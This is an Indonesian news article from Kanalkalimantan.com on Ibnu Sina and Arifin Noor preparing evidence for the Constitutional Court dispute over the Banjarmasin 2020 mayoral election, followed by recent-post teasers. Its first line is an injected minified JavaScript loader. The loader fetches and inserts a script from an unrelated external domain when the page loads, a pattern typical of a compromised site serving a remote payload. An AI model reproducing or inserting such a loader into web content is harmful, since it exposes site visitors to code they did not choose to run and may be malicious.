(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Ibnu Sina Lakukan Persiapan Hadapi Gugatan Tim Hukum AnandaMu di MK


KANALKALIMANTAN.COM, BANJARMASIN – Menyikapi putusan Mahkamah Konstitusi (MK) yang memutus melanjutkan proses persidangan sengketa Pilkada Banjarmasin 2020 ke tahap pembuktian, pasangan Calon (Paslon) Nomor Urut 2, Ibnu Sina dan Arifin Noor bersama Tim Kuasa Hukumnya sudah siap tarung. Rencananya sidang tahap pembuktian di MK yang dijadwalkan pada 1 Maret 2021 nanti.

“Kita sedang melakukan persiapan menghadapi sidang sengketa lanjutan di MK,” kata Ibnu Sina seusai acara perpisahan dengan Aparatur Sipil Negara ( ASN ) di Pemko Banjarmasin, Rabu (17/2/2021) malam.

Ia mengatakan, menghadapi sidang di MK sudah berkomunikasi bersama tim kuasa hukumnya. Dan juga melakukan persiapan alat-alat bukti untuk membantah dalam persidangan nantinya

“Selalu menginformasikan, update ke mereka dalam persiapan-persiapan, beserta alat-alat bukti untuk membantah dalam sidang nanti,” bebernya.

 

Dalam pelaksanaan sidang di MK nanti, Ibnu Sina sendiri menyampaikan bahwa tidak bisa berhadir secara langsung di MK, tetapi akan mengikuti persidangan secara Virtual.

“Mematuhi Protokol Covid-19 untuk berhadir secara langsung di MK mungkin tidak bisa, tetapi tetap kita ikuti waktu yang sudah terjadwal persidangan secara virtual,” terangnya.

Dan Ibnu Sina sendiri juga meyakini apa yang dilakukannya selama tahapan Pilkada 2020 lalu sudah menaati peraturan yang berlaku di PKPU.

“Kita yakin apa yang di lakukan selama ini, dan masyarakat yang melihat sudah menentukan pilihannya, kita hormati proses hukumnya. Insya Allah sesuai dengan harapan,” tutupnya.

Diketahui agenda yang dijadwalkan pada 1 Maret 2021 pukul 13.30 WIB di MK nanti yakni mendengar keterangan saksi/ahli dan juga mengesahkan alat bukti tambahan.
Dan juga agenda penting untuk sidang yang memasuki tahap pembuktian tersebut, Tim Hukum Paslon nomor urut 4 Wali Kota dan Wakil Wali Kota Banjarmasin Ananda-Mushaffa Zakir, akan menambahkan beberapa bukti baru.(Kanalkalimantan.com/putra)

Reporter: putra
Editor: cell


Al Ghifari

Recent Posts

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

3 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

3 jam ago

Koordinator Posko Tim Banjarbaru Hanyar Diancam Dihabisi, Dikirimi Dua Surat Kaleng

KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More

4 jam ago

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

9 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

11 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

11 jam ago

This website uses cookies.